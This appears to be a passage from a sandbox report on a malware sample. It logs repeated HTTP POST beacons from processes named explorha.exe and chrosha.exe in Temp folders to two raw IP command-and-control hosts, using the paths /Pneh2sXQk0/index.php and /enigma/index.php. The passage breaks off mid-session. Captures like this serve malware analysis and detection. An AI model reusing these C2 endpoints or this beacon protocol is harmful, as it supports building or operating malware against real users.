294	192.168.2.5	50136	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:19.540589094 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:19.788249016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.5	50137	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:19.855314016 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:20.103374004 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.5	50138	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:20.032421112 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:20.276448965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.5	50139	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:20.352876902 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:20.603303909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.5	50140	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:20.628530025 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:20.870258093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.5	50141	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:20.973072052 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:21.221287012 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.5	50142	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:21.125766993 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:21.378742933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.5	50144	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:21.476008892 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:21.727442026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.5	50145	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:21.745156050 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:21.990434885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.5	50146	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:22.084155083 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:22.328073025 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.5	50147	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:22.243921995 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:22.496165037 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.5	50148	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:22.582182884 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:22.839447975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.5	50149	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:22.855777025 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:23.103256941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.5	50150	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:23.199419022 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:23.448077917 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.5	50151	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:23.361489058 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:23.613274097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.5	50152	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:23.704118967 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:23.960421085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.5	50153	193.233.132.56	80	2956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:23.978367090 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:24.226309061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.5	50154	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:24.322788000 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:24.569756985 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.5	50155	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:24.479047060 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:24.727377892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.5	50156	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:24.819403887 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:25.066776991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.5	50157	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:25.079587936 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:25.318634033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.5	50158	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:25.428483009 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:25.671046019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.5	50159	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:25.567473888 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:25.814826012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.5	50160	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
